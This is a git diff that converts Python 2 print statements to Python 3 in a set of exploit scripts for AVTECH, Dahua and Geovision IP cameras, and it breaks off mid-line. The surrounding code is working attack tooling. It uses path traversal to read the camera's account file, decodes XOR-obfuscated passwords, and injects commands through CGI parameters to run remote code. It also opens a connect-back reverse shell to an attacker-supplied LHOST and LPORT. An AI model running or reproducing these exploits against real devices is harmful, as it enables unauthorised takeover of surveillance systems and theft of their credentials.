diff --git a/AVTECH-IPCP-RCE.py b/AVTECH-IPCP-RCE.py index aea2bb3..d6d6b84 100644 --- a/AVTECH-IPCP-RCE.py +++ b/AVTECH-IPCP-RCE.py @@ -11,6 +11,7 @@ # # Vendor: http://www.avtech.com.tw/ # +from __future__ import print_function import socket import select import sys @@ -46,17 +47,17 @@ def Send(self, uri, query_headers, query_data, ID): url = '{}://{}{}'.format(self.proto, self.host, self.uri) if self.verbose: - print "[Verbose] Sending:", url + print("[Verbose] Sending:", url) if self.proto == 'https': if hasattr(ssl, '_create_unverified_context'): - print "[i] Creating SSL Unverified Context" + print("[i] Creating SSL Unverified Context") ssl._create_default_https_context = ssl._create_unverified_context if self.credentials: Basic_Auth = self.credentials.split(':') if self.verbose: - print "[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1] + print("[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1]) try: pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm() pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1]) @@ -64,11 +65,11 @@ def Send(self, uri, query_headers, query_data, ID): opener = urllib2.build_opener(auth_handler) urllib2.install_opener(opener) except Exception as e: - print "[!] Basic Auth Error:",e + print("[!] Basic Auth Error:",e) sys.exit(1) if self.noexploit and not self.verbose: - print "[<] 204 Not Sending!" + print("[<] 204 Not Sending!") html = "Not sending any data" return html else: @@ -79,7 +80,7 @@ def Send(self, uri, query_headers, query_data, ID): try: rsp = urllib2.urlopen(req) except Exception as e: - print "[<] {}".format(str(e)) + print("[<] {}".format(str(e))) return False if self.Raw: @@ -163,16 +164,16 @@ def Send(self, message): try: self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.connect((self.rhost, int(self.rport))) - print "[i] Connected" + print("[i] Connected") except Exception as e: - print "[!] Connection failed ({})".format(e) + print("[!] Connection failed ({})".format(e)) sys.exit(1) try: - print "[>] Sending" + print("[>] Sending") self.sock.send(self.message) # No reply back from server except Exception as e: - print "[!] Send failed ({})".format(e) + print("[!] Send failed ({})".format(e)) self.sock.close() sys.exit(1) @@ -221,10 +222,10 @@ def Send(self, message): arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]') args = arg_parser.parse_args() except Exception as e: - print INFO,"\nError: {}\n".format(str(e)) + print(INFO,"\nError: {}\n".format(str(e))) sys.exit(1) - print INFO + print(INFO) if args.verbose: verbose = True @@ -246,34 +247,34 @@ def Send(self, message): # Check if RPORT is valid if not Validate(verbose).Port(rport): - print "[!] Invalid RPORT - Choose between 1 and 65535" + print("[!] Invalid RPORT - Choose between 1 and 65535") sys.exit(1) # Check if LPORT is valid if not Validate(verbose).Port(lport): - print "[!] Invalid LPORT - Choose between 1 and 65535" + print("[!] Invalid LPORT - Choose between 1 and 65535") sys.exit(1) # Check if RHOST is valid IP or FQDN, get IP back rhost = Validate(verbose).Host(rhost) if not rhost: - print "[!] Invalid RHOST" + print("[!] Invalid RHOST") sys.exit(1) # Check if LHOST is valid IP or FQDN, get IP back lhost = Validate(verbose).Host(lhost) if not lhost: - print "[!] Invalid LHOST" + print("[!] Invalid LHOST") sys.exit(1) # # Validation done, start print out stuff to the user # - print "[i] Remote target IP:",rhost - print "[i] Remote target PORT:",rport + print("[i] Remote target IP:",rhost) + print("[i] Remote target PORT:",rport) if args.getrce: - print "[i] Connect back IP:",lhost - print "[i] Connect back PORT:",lport + print("[i] Connect back IP:",lhost) + print("[i] Connect back PORT:",lport) remote_host = rhost+':'+rport @@ -281,42 +282,42 @@ def Send(self, message): # Get some interesting info about remote target # try: - print "[>] -=[ Checking Remote Device Info ]=-" + print("[>] -=[ Checking Remote Device Info ]=-") URI = "/nobody/Mediadesc_0.xml" response = HTTPconnect(remote_host,proto,verbose,credentials,True,noexploit).Send(URI,headers,None,None) if response and not response.info().get('Server') == 'Linux/2.x UPnP/1.0 Avtech/1.0': - print "[!] Remote server '{}' type is wrong".format(response.info().get('Server')) - print "[i] Exiting" + print("[!] Remote server '{}' type is wrong".format(response.info().get('Server'))) + print("[i] Exiting") sys.exit(1) if not response: URI = "/nobody/Mediadesc.xml" response = HTTPconnect(remote_host,proto,verbose,credentials,True,noexploit).Send(URI,headers,None,None) URI = "/nobody/GetVendors" response2 = HTTPconnect(remote_host,proto,verbose,credentials,True,noexploit).Send(URI,headers,None,None) - print "[<] Booted: {}".format(response2.info().get('Last-Modified')) + print("[<] Booted: {}".format(response2.info().get('Last-Modified'))) else: - print "[<] Booted: {}".format(response.info().get('Last-Modified')) + print("[<] Booted: {}".format(response.info().get('Last-Modified'))) if not response: - print "[!] Can't find remote server info..." - print "[i] Exiting" + print("[!] Can't find remote server info...") + print("[i] Exiting") sys.exit(1) except Exception as e: pass XML_2_JSON = xmltodict.parse(response.read()) - print "[<] Model: {} {}".format(XML_2_JSON['root']['device']['manufacturer'],XML_2_JSON['root']['device']['modelDescription']) + print("[<] Model: {} {}".format(XML_2_JSON['root']['device']['manufacturer'],XML_2_JSON['root']['device']['modelDescription'])) URI = "/" response = HTTPconnect(remote_host,proto,verbose,credentials,True,noexploit).Send(URI,headers,None,None) if not response: - print "[<] Failed ({})".format(response) + print("[<] Failed ({})".format(response)) sys.exit(1) if not response.info().get('Server') == 'Linux/2.x UPnP/1.0 Avtech/1.0': - print "[!] Remote server '{}' type is wrong".format(response.info().get('Server')) - print "[i] Exiting" + print("[!] Remote server '{}' type is wrong".format(response.info().get('Server'))) + print("[i] Exiting") sys.exit(1) - print "[<] Firmware date: {}".format(response.info().get('Last-Modified')) + print("[<] Firmware date: {}".format(response.info().get('Last-Modified'))) response = response.read() # @@ -327,25 +328,25 @@ def Send(self, message): # # We don't want to screw up things, so let's prepare to restore. # - print "[>] -=[ Checking if remote using Captcha ]=-" + print("[>] -=[ Checking if remote using Captcha ]=-") RESTORE_URI = '' for captcha in range(0,len(response.split())): if response.split()[captcha] == 'setTimeout("getCaptchaImg()",': - print "[<] Captcha: [True]" + print("[<] Captcha: [True]") RESTORE_URI = "nobody/login.htm" break elif response.split()[captcha] == '//setTimeout("getCaptchaImg()",': - print "[<] Captcha: [False]" + print("[<] Captcha: [False]") RESTORE_URI = "nobody/loginQuick.htm" break if not RESTORE_URI: if args.getrce: # Not safe enough to continue... - print "[!] Can't find Captcha! Not safe enough to continue..." + print("[!] Can't find Captcha! Not safe enough to continue...") sys.exit(0) RESTORE_URI = "nobody/login.htm" - print "[!] Can't find Captcha! Assuming '{}' is default...".format(RESTORE_URI) + print("[!] Can't find Captcha! Assuming '{}' is default...".format(RESTORE_URI)) # # This seems to be some undocumented and unauthenticated write only API, that's hooking on 'IPCP/' @@ -355,17 +356,17 @@ def Send(self, message): # This one (#29) will change default web page to display, which can be redirected to any existing file. # We will use '/mnt/database/xml/Account' as we can find remote device credentials in clear text or XOR'ed base64 encoded # - print "[>] -=[ Trying to redirect default page to: /mnt/database/xml/Account ]=-" + print("[>] -=[ Trying to redirect default page to: /mnt/database/xml/Account ]=-") ACCOUNT_URI = "../../../../../mnt/database/xml/Account" request = "GET / IPCP/1.0\r\nMessage-ID: 29\r\nConnection: close\r\nContent-Length: " + str(len(ACCOUNT_URI)) + "\r\n\r\n" + ACCOUNT_URI AVTECH(rhost,rport,proto,verbose,credentials,raw_request,noexploit,headers).Send(request) - print "[>] -=[ Trying to retrieve /mnt/database/xml/Account ]=-" + print("[>] -=[ Trying to retrieve /mnt/database/xml/Account ]=-") response = HTTPconnect(remote_host,proto,verbose,credentials,False,noexploit).Send(URI,headers,None,None) if not response: - print "[<] Failed ({})".format(response) + print("[<] Failed ({})".format(response)) sys.exit(1) - print "[<] Received {} bytes".format(len(response)) + print("[<] Received {} bytes".format(len(response))) try: # # Let's find first available admin user and password @@ -377,27 +378,27 @@ def Send(self, message): Username = XML_2_JSON['Account'][user]['Username']['#text'] Password = XML_2_JSON['Account'][user]['Password']['#text'] Level = XML_2_JSON['Account'][user]['Level']['#text'] - print "[<] Success" + print("[<] Success") break elif user == 'Cloud': - print "[<] Cloud Account: {}, Password: {}".format(XML_2_JSON['Account'][user]['Username'],XML_2_JSON['Account'][user]['Password']) + print("[<] Cloud Account: {}, Password: {}".format(XML_2_JSON['Account'][user]['Username'],XML_2_JSON['Account'][user]['Password'])) Username = XML_2_JSON['Account'][user]['SUPERVISOR']['Username'] Password = XML_2_JSON['Account'][user]['SUPERVISOR']['Password'] Level = 'SUPERVISOR' if args.getrce: - print "[!] RCE not supported..." + print("[!] RCE not supported...") args.getrce = False # Not found out how-to except Exception as e: - print "[<] -=[ This host are not IPCP vulnerable! ]=-" - print "[!] Exiting!" + print("[<] -=[ This host are not IPCP vulnerable! ]=-") + print("[!] Exiting!") sys.exit(1) # # Some newer FW versions password fields has XOR'ed base64 encoded passwords # if len(Password.split(":")) == 3 and Password.split(":")[0] == "enc": - print "[!] Deobfuscating base64 password: {} ({})".format(Password.split(":")[2],base64.b64decode(Password.split(":")[2])) + print("[!] Deobfuscating base64 password: {} ({})".format(Password.split(":")[2],base64.b64decode(Password.split(":")[2]))) Password = base64.b64decode(Password.split(":")[2]) XOR = [0x09,0x07,0x09,0x02,0x07,0x07,0x0a] # rolling XOR keys for each byte in the password Password = bytearray(Password) @@ -408,18 +409,18 @@ def Send(self, message): Password[i] ^= XOR[key] key += 1 - print "[i] Level: {}, Username: {}, Password: {}".format(Level,Username,str(Password)) + print("[i] Level: {}, Username: {}, Password: {}".format(Level,Username,str(Password))) credentials = Username + ':' + str(Password) # print json.dumps(XML_2_JSON,indent=4) - print "[>] Restore default page to: {}".format(RESTORE_URI) + print("[>] Restore default page to: {}".format(RESTORE_URI)) request = "GET / IPCP/1.0\r\nMessage-ID: 29\r\nConnection: close\r\nContent-Length: " + str(len(RESTORE_URI)) + "\r\n\r\n" + RESTORE_URI AVTECH(rhost,rport,proto,verbose,credentials,raw_request,noexploit,headers).Send(request) if not args.getrce: if verbose: - print json.dumps(XML_2_JSON,indent=4) - print "[i] All done" + print(json.dumps(XML_2_JSON,indent=4)) + print("[i] All done") sys.exit(0) # @@ -431,21 +432,21 @@ def Send(self, message): RCE = RCE.replace('LHOST',lhost).replace('LPORT',lport) URI = '/cgi-bin/nobody/Machine.cgi?action=change_password&account='+ base64.b64encode(credentials) +'&new_password='+ base64.b64encode(RCE) - print "[>] -=[ Trying to add and execute RCE ]=-" + print("[>] -=[ Trying to add and execute RCE ]=-") response = HTTPconnect(remote_host,proto,verbose,credentials,False,noexploit).Send(URI,headers,None,None) if not response == False: if not response.split()[1] == 'OK': - print "[<] Failed {}".format(response) + print("[<] Failed {}".format(response)) sys.exit(1) else: if len(response.split()) > 2: - print "[!] Something is not correct!! Exiting..." + print("[!] Something is not correct!! Exiting...") if verbose: - print response + print(response) sys.exit(1) - print "[<] {}".format(response.split()[1]) + print("[<] {}".format(response.split()[1])) else: - print "[<] Should be OK" + print("[<] Should be OK") # # Use 'RCE' as PWD to restore old PWD # @@ -453,22 +454,22 @@ def Send(self, message): tmp = creds[0] + ':' + RCE URI = '/cgi-bin/nobody/Machine.cgi?action=change_password&account='+ base64.b64encode(tmp) +'&new_password='+ base64.b64encode(creds[1]) - print "[>] -=[ Trying to delete RCE and restore old PWD ]=-" + print("[>] -=[ Trying to delete RCE and restore old PWD ]=-") response = HTTPconnect(remote_host,proto,verbose,credentials,False,noexploit).Send(URI,headers,None,None) if not response: sys.exit(1) if not response.split()[1] == 'OK': - print "[<] Failed {}".format(response) + print("[<] Failed {}".format(response)) sys.exit(1) else: if len(response.split()) > 2: - print "[!] Something is not correct!! Exiting..." + print("[!] Something is not correct!! Exiting...") if verbose: - print response + print(response) sys.exit(1) - print "[<] {}".format(response.split()[1]) + print("[<] {}".format(response.split()[1])) - print "[i] All done" + print("[i] All done") # [EOF] diff --git a/AVTECH-RCE.py b/AVTECH-RCE.py index a384a05..80ed85f 100644 --- a/AVTECH-RCE.py +++ b/AVTECH-RCE.py @@ -40,6 +40,7 @@ $ """ +from __future__ import print_function import sys import urllib, urllib2, httplib import ssl @@ -73,17 +74,17 @@ def Send(self, uri, query_headers, query_data, ID): url = '{}://{}{}'.format(self.proto, self.host, self.uri) if self.verbose: - print "[Verbose] Sending:", url + print("[Verbose] Sending:", url) if self.proto == 'https': if hasattr(ssl, '_create_unverified_context'): - print "[i] Creating SSL Unverified Context" + print("[i] Creating SSL Unverified Context") ssl._create_default_https_context = ssl._create_unverified_context if self.credentials: Basic_Auth = self.credentials.split(':') if self.verbose: - print "[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1] + print("[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1]) try: pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm() pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1]) @@ -91,11 +92,11 @@ def Send(self, uri, query_headers, query_data, ID): opener = urllib2.build_opener(auth_handler) urllib2.install_opener(opener) except Exception as e: - print "[!] Basic Auth Error:",e + print("[!] Basic Auth Error:",e) sys.exit(1) if self.noexploit and not self.verbose: - print "[<] 204 Not Sending!" + print("[<] 204 Not Sending!") html = "Not sending any data" return html else: @@ -106,7 +107,7 @@ def Send(self, uri, query_headers, query_data, ID): try: rsp = urllib2.urlopen(req) except Exception as e: - print "[<] {}".format(str(e)) + print("[<] {}".format(str(e))) return False if self.Raw: @@ -211,10 +212,10 @@ def Host(self,HOST): arg_parser.add_argument('--noexploit', required=False, default=False, action='store_true', help='Simple testmode; With --verbose testing all code without exploiting [Default: False]') args = arg_parser.parse_args() except Exception as e: - print INFO,"\nError: {}\n".format(str(e)) + print(INFO,"\nError: {}\n".format(str(e))) sys.exit(1) - print INFO + print(INFO) if args.https: proto = HTTPS @@ -244,35 +245,35 @@ def Host(self,HOST): # Check if RPORT is valid if not Validate(verbose).Port(rport): - print "[!] Invalid RPORT - Choose between 1 and 65535" + print("[!] Invalid RPORT - Choose between 1 and 65535") sys.exit(1) # Check if LPORT is valid if not Validate(verbose).Port(lport): - print "[!] Invalid LPORT - Choose between 1 and 65535" + print("[!] Invalid LPORT - Choose between 1 and 65535") sys.exit(1) # Check if RHOST is valid IP or FQDN, get IP back rhost = Validate(verbose).Host(rhost) if not rhost: - print "[!] Invalid RHOST" + print("[!] Invalid RHOST") sys.exit(1) # Check if LHOST is valid IP or FQDN, get IP back lhost = Validate(verbose).Host(lhost) if not lhost: - print "[!] Invalid LHOST" + print("[!] Invalid LHOST") sys.exit(1) # # Validation done, start print out stuff to the user # if args.https: - print "[i] HTTPS / SSL Mode Selected" - print "[i] Remote target IP:",rhost - print "[i] Remote target PORT:",rport - print "[i] Connect back IP:",lhost - print "[i] Connect back PORT:",lport + print("[i] HTTPS / SSL Mode Selected") + print("[i] Remote target IP:",rhost) + print("[i] Remote target PORT:",rport) + print("[i] Connect back IP:",lhost) + print("[i] Connect back PORT:",lport) remote_host = rhost+':'+rport @@ -285,13 +286,13 @@ def Host(self,HOST): RCE = RCE.replace('LHOST',lhost).replace('LPORT',lport) URI = '/cgi-bin/nobody/Machine.cgi?action=change_password&account='+ base64.b64encode(credentials) +'&new_password='+ base64.b64encode(RCE) - print "[>] Adding and executing RCE" + print("[>] Adding and executing RCE") response = HTTPconnect(remote_host,proto,verbose,credentials,False,noexploit).Send(URI,headers,None,None) if not response == False: if not response.split()[1] == 'OK': - print "[<] Failed {}".format(response) + print("[<] Failed {}".format(response)) else: - print "[<] {}".format(response.split()[1]) + print("[<] {}".format(response.split()[1])) # # Use 'RCE' as PWD and restore old PWD @@ -300,16 +301,16 @@ def Host(self,HOST): tmp = creds[0] + ':' + RCE URI = '/cgi-bin/nobody/Machine.cgi?action=change_password&account='+ base64.b64encode(tmp) +'&new_password='+ base64.b64encode(creds[1]) - print "[>] Delete RCE and restore PWD" + print("[>] Delete RCE and restore PWD") response = HTTPconnect(remote_host,proto,verbose,credentials,False,noexploit).Send(URI,headers,None,None) if not response: sys.exit(1) if not response.split()[1] == 'OK': - print "[<] Failed {}".format(response) + print("[<] Failed {}".format(response)) else: - print "[<] {}".format(response.split()[1]) + print("[<] {}".format(response.split()[1])) - print "[i] All done" + print("[i] All done") # [EOF] diff --git a/Dahua-DHIP-JSON-Debug-Console.py b/Dahua-DHIP-JSON-Debug-Console.py index 8d2d8af..e779429 100644 --- a/Dahua-DHIP-JSON-Debug-Console.py +++ b/Dahua-DHIP-JSON-Debug-Console.py @@ -51,6 +51,7 @@ System Version: 2.400.0000000.16.R, Build Date: 2017-08-31 """ +from __future__ import print_function import sys import json @@ -69,22 +70,22 @@ def DEBUG(direction, packet): if debug: # Print send/recv data and current line number - print "[BEGIN {}] <{:-^60}>".format(direction, inspect.currentframe().f_back.f_lineno) + print("[BEGIN {}] <{:-^60}>".format(direction, inspect.currentframe().f_back.f_lineno)) if packet[0:8] == p64(0x2000000044484950,endian='big'): # DHIP header = packet[0:32] data = packet[32:] if header[0:8] == p64(0x2000000044484950,endian='big'): # DHIP - print "\n-HEADER- -DHIP- SessionID ID LEN LEN" - print "{}|{}|{}|{}|{}|{}|{}|{}".format( + print("\n-HEADER- -DHIP- SessionID ID LEN LEN") + print("{}|{}|{}|{}|{}|{}|{}|{}".format( header[0:4].encode('hex'),header[4:8].encode('hex'),header[8:12].encode('hex'), header[12:16].encode('hex'),header[16:20].encode('hex'),header[20:24].encode('hex'), - header[24:28].encode('hex'),header[28:32].encode('hex')) + header[24:28].encode('hex'),header[28:32].encode('hex'))) if data: - print "{}\n".format(data) + print("{}\n".format(data)) elif packet: - print "\n{}\n".format(packet) - print "[ END {}] <{:-^60}>".format(direction, inspect.currentframe().f_back.f_lineno) + print("\n{}\n".format(packet)) + print("[ END {}] <{:-^60}>".format(direction, inspect.currentframe().f_back.f_lineno)) return # @@ -565,7 +566,7 @@ def ConsoleResult(self,data): return False for paramscount in range(0,int(paramsinfo.get('Count'))): - print str(paramsinfo.get('Data')[paramscount]).strip('\n') + print(str(paramsinfo.get('Data')[paramscount]).strip('\n')) return True elif not data.get('result'): @@ -656,7 +657,7 @@ def config_members(self,msg): result.pop('id') result.pop('session') result.pop('result') - print json.dumps(result,indent=4) + print(json.dumps(result,indent=4)) return @@ -745,7 +746,7 @@ def listService(self,msg): log.info("Remote Services ({}):".format(len(result['params']['service']))) for count in range(0,len(result['params']['service'])): if len(cmd) == 1 or len(cmd) == 2 and cmd[1] == 'all': - print "{}".format(result['params']['service'][count]) + print("{}".format(result['params']['service'][count])) if len(cmd) == 2 and cmd[1] == 'all': @@ -766,7 +767,7 @@ def listService(self,msg): result2.pop('result') result2.pop('id') result2.pop('session') - print json.dumps(result2,indent=4) + print(json.dumps(result2,indent=4)) elif len(cmd) == 2 and cmd[1] == result['params']['service'][count]: log.success("methods for service: {}".format(cmd[1])) @@ -784,7 +785,7 @@ def listService(self,msg): if result2.get('result'): result2.pop('id') result2.pop('session') - print json.dumps(result2,indent=4) + print(json.dumps(result2,indent=4)) return True @@ -972,7 +973,7 @@ def newConfig(self,msg): "id":self.ID } if cmd[1] == 'show': - print json.dumps(query_args,indent=4) + print(json.dumps(query_args,indent=4)) return @@ -982,7 +983,7 @@ def newConfig(self,msg): if not LEN: return result = json.loads(result) - print json.dumps(result,indent=4) + print(json.dumps(result,indent=4)) elif cmd[1] == 'get': query_args = { @@ -1001,7 +1002,7 @@ def newConfig(self,msg): return result = json.loads(result) - print json.dumps(result,indent=4) + print(json.dumps(result,indent=4)) elif cmd[1] == 'del': query_args = { @@ -1020,7 +1021,7 @@ def newConfig(self,msg): return result = json.loads(result) - print json.dumps(result,indent=4) + print(json.dumps(result,indent=4)) else: log.failure("Usage: show / set / get / del") @@ -1110,7 +1111,7 @@ def Host(self,HOST): arg_parser.add_argument('-f','--force', required=False, default=False, action='store_true', help='Force [Default: False]') args = arg_parser.parse_args() except Exception as e: - print INFO,"\nError: {}\n".format(str(e)) + print(INFO,"\nError: {}\n".format(str(e))) sys.exit(1) # We want at least one argument, so print out help diff --git a/Geovision-PoC.py b/Geovision-PoC.py index c65b00c..27826d8 100644 --- a/Geovision-PoC.py +++ b/Geovision-PoC.py @@ -37,6 +37,7 @@ ############################################################################################ +from __future__ import print_function import sys import socket import urllib, urllib2, httplib @@ -94,17 +95,17 @@ def Send(self, uri, query_headers, query_data, ID): url = '{}://{}{}'.format(self.proto, self.host, self.uri) if self.verbose: - print "[Verbose] Sending:", url + print("[Verbose] Sending:", url) if self.proto == 'https': if hasattr(ssl, '_create_unverified_context'): - print "[i] Creating SSL Unverified Context" + print("[i] Creating SSL Unverified Context") ssl._create_default_https_context = ssl._create_unverified_context if self.credentials: Basic_Auth = self.credentials.split(':') if self.verbose: - print "[Verbose] User:",Basic_Auth[0],"password:",Basic_Auth[1] + print("[Verbose] User:",Basic_Auth[0],"password:",Basic_Auth[1]) try: pwd_mgr = urllib2.HTTPpasswordMgrWithDefaultDahua_realm() pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1]) @@ -116,7 +117,7 @@ def Send(self, uri, query_headers, query_data, ID): opener = urllib2.build_opener(auth_handler,NoRedirection) urllib2.install_opener(opener) except Exception as e: - print "[!] Basic Auth Error:",e + print("[!] Basic Auth Error:",e) sys.exit(1) else: # Don't follow redirects! @@ -130,7 +131,7 @@ def Send(self, uri, query_headers, query_data, ID): if self.noexploit and not self.verbose: - print "[<] 204 Not Sending!" + print("[<] 204 Not Sending!") html = "Not sending any data" return html else: @@ -146,7 +147,7 @@ def Send(self, uri, query_headers, query_data, ID): req.add_header('Cookie', Cookie) rsp = urllib2.urlopen(req) if rsp: - print "[<] {}".format(rsp.code) + print("[<] {}".format(rsp.code)) if self.Raw: return rsp @@ -227,7 +228,7 @@ def Login(self): try: - print "[>] Requesting keys from remote" + print("[>] Requesting keys from remote") URI = '/ssi.cgi/Login.htm' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,None,None) response = response.read()[:1500] @@ -235,7 +236,7 @@ def Login(self): # print response except Exception as e: - print "[!] Can't access remote host... ({})".format(e) + print("[!] Can't access remote host... ({})".format(e)) sys.exit(1) try: @@ -247,10 +248,10 @@ def Login(self): for check in range(0,len(response)): if response[check] == 'cc1=': CC1 = response[check+1] - print "[i] Random key CC1: {}".format(response[check+1]) + print("[i] Random key CC1: {}".format(response[check+1])) elif response[check] == 'cc2=': CC2 = response[check+1] - print "[i] Random key CC2: {}".format(response[check+1]) + print("[i] Random key CC2: {}".format(response[check+1])) """ # # Less interesting to know, but leave it here anyway. @@ -271,8 +272,8 @@ def Login(self): """ if not CC1 and not CC2: - print "[!] CC1 and CC2 missing!" - print "[!] Cannot generate MD5, exiting.." + print("[!] CC1 and CC2 missing!") + print("[!] Cannot generate MD5, exiting..") sys.exit(0) # @@ -294,22 +295,22 @@ def Login(self): "is_check_OCX_OK":0 } - print "[>] Logging in" + print("[>] Logging in") URI = '/LoginPC.cgi' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) # print response.info() # if we don't get 'Set-Cookie' back from the server, the Login has failed if not (response.info().get('Set-Cookie')): - print "[!] Login Failed!" + print("[!] Login Failed!") sys.exit(1) if verbose: - print "Cookie: {}".format(response.info().get('Set-Cookie')) + print("Cookie: {}".format(response.info().get('Set-Cookie'))) return response.info().get('Set-Cookie') except Exception as e: - print "[i] What happen? ({})".format(e) + print("[i] What happen? ({})".format(e)) exit(0) @@ -319,11 +320,11 @@ def DeviceInfo(self): URI = '/PSIA/System/deviceInfo' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,None) deviceinfo = xmltodict.parse(response) - print "[i] Remote target: {} ({})".format(deviceinfo['DeviceInfo']['model'],deviceinfo['DeviceInfo']['firmwareVersion']) + print("[i] Remote target: {} ({})".format(deviceinfo['DeviceInfo']['model'],deviceinfo['DeviceInfo']['firmwareVersion'])) return True except Exception as e: - print "[i] Info about remote target failed ({})".format(e) + print("[i] Info about remote target failed ({})".format(e)) return False @@ -331,11 +332,11 @@ def UserSetting(self,DumpSettings): self.DumpSettings = DumpSettings if self.DumpSettings: - print "[i] Dump Config of remote" + print("[i] Dump Config of remote") SH_CMD = '`echo "" >/var/www/tmp/Login.htm`' else: - print "[i] Launching TLSv1 privacy reverse shell" + print("[i] Launching TLSv1 privacy reverse shell") self.headers = { 'Connection': 'close', 'Accept-Language' : 'en-US,en;q=0.8', @@ -347,7 +348,7 @@ def UserSetting(self,DumpSettings): SH_CMD = SH_CMD.replace("LHOST",lhost) SH_CMD = SH_CMD.replace("LPORT",lport) - print "[>] Pwning Usersetting.cgi" + print("[>] Pwning Usersetting.cgi") self.query_args = { "umd5":SH_CMD, "pmd5":"GEOVISION", @@ -364,15 +365,15 @@ def UserSetting(self,DumpSettings): URI = '/UserSetting.cgi' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) if DumpSettings: - print "[i] Dumping" + print("[i] Dumping") URI = '/ssi.cgi/tmp/Login.htm' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID) - print response + print(response) return True except Exception as e: if str(e) == "timed out" or str(e) == "('The read operation timed out',)": - print "[!] Enjoy the shell... ({})".format(e) + print("[!] Enjoy the shell... ({})".format(e)) return True @@ -380,11 +381,11 @@ def PictureCatch(self,DumpSettings): self.DumpSettings = DumpSettings if self.DumpSettings: - print "[i] Dump Config of remote" + print("[i] Dump Config of remote") SH_CMD = '`echo "" >/var/www/tmp/Login.htm`' else: - print "[i] Launching TLSv1 privacy reverse shell" + print("[i] Launching TLSv1 privacy reverse shell") self.headers = { 'Connection': 'close', 'Accept-Language' : 'en-US,en;q=0.8', @@ -396,7 +397,7 @@ def PictureCatch(self,DumpSettings): SH_CMD = SH_CMD.replace("LHOST",lhost) SH_CMD = SH_CMD.replace("LPORT",lport) - print "[>] Pwning PictureCatch.cgi" + print("[>] Pwning PictureCatch.cgi") self.query_args = { "username":SH_CMD, "password":"GEOVISION", @@ -410,14 +411,14 @@ def PictureCatch(self,DumpSettings): URI = '/PictureCatch.cgi' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) if DumpSettings: - print "[i] Dumping" + print("[i] Dumping") URI = '/ssi.cgi/tmp/Login.htm' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID) - print response + print(response) return True except Exception as e: if str(e) == "timed out" or str(e) == "('The read operation timed out',)": - print "[!] Enjoy the shell... ({})".format(e) + print("[!] Enjoy the shell... ({})".format(e)) return True @@ -425,11 +426,11 @@ def JpegStream(self,DumpSettings): self.DumpSettings = DumpSettings if self.DumpSettings: - print "[i] Dump Config of remote" + print("[i] Dump Config of remote") SH_CMD = '`echo "" >/var/www/tmp/Login.htm`' else: - print "[i] Launching TLSv1 privacy reverse shell" + print("[i] Launching TLSv1 privacy reverse shell") self.headers = { 'Connection': 'close', 'Accept-Language' : 'en-US,en;q=0.8', @@ -441,7 +442,7 @@ def JpegStream(self,DumpSettings): SH_CMD = SH_CMD.replace("LHOST",lhost) SH_CMD = SH_CMD.replace("LPORT",lport) - print "[>] Pwning JpegStream.cgi" + print("[>] Pwning JpegStream.cgi") self.query_args = { "username":SH_CMD, "password":"GEOVISION", @@ -455,14 +456,14 @@ def JpegStream(self,DumpSettings): URI = '/JpegStream.cgi' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) if DumpSettings: - print "[i] Dumping" + print("[i] Dumping") URI = '/ssi.cgi/tmp/Login.htm' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID) - print response + print(response) return True except Exception as e: if str(e) == "timed out" or str(e) == "('The read operation timed out',)": - print "[!] Enjoy the shell... ({})".format(e) + print("[!] Enjoy the shell... ({})".format(e)) return True # @@ -490,7 +491,7 @@ def JpegStream(self,DumpSettings): def FilterSetting(self): try: - print "[>] Pwning FilterSetting.cgi" + print("[>] Pwning FilterSetting.cgi") # # ';' will be treated by the code as LF # @@ -529,7 +530,7 @@ def FilterSetting(self): CMD[LINE] = CMD_DO_LF.replace("TMP",cmd_split[CMD_LEN]) LF = 0 if verbose: - print "Len: {} {}".format(len(CMD[LINE]),CMD[LINE]) + print("Len: {} {}".format(len(CMD[LINE]),CMD[LINE])) # Add two more commands to execute stunnel and remove /tmp/x CMD[LINE+1] = "`/usr/local/bin/stunnel /tmp/x`" # 31 char, no /usr/local/bin in $PATH @@ -550,7 +551,7 @@ def FilterSetting(self): who = 0 # Clean up to make room, just in case for Remove in range(0,4): - print "[>] Cleaning ipfilter entry: {}".format(Remove+1) + print("[>] Cleaning ipfilter entry: {}".format(Remove+1)) self.query_args = { "bPolicy":"0", # 1 = Enable, 0 = Disable "Delete":"Remove", # Remove entry @@ -565,7 +566,7 @@ def FilterSetting(self): break if CMD_LEN < 4: - print "[>] Sending: {} ({})".format(CMD[who],len(CMD[who])) + print("[>] Sending: {} ({})".format(CMD[who],len(CMD[who]))) self.query_args = { "szIpAddr":CMD[who], # 31 char limit "byOpId":"0", # 0 = Allow, 1 = Deny @@ -574,19 +575,19 @@ def FilterSetting(self): } response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) response = re.split('[()<>?"\n_&;/ ]',response) - print response + print(response) if 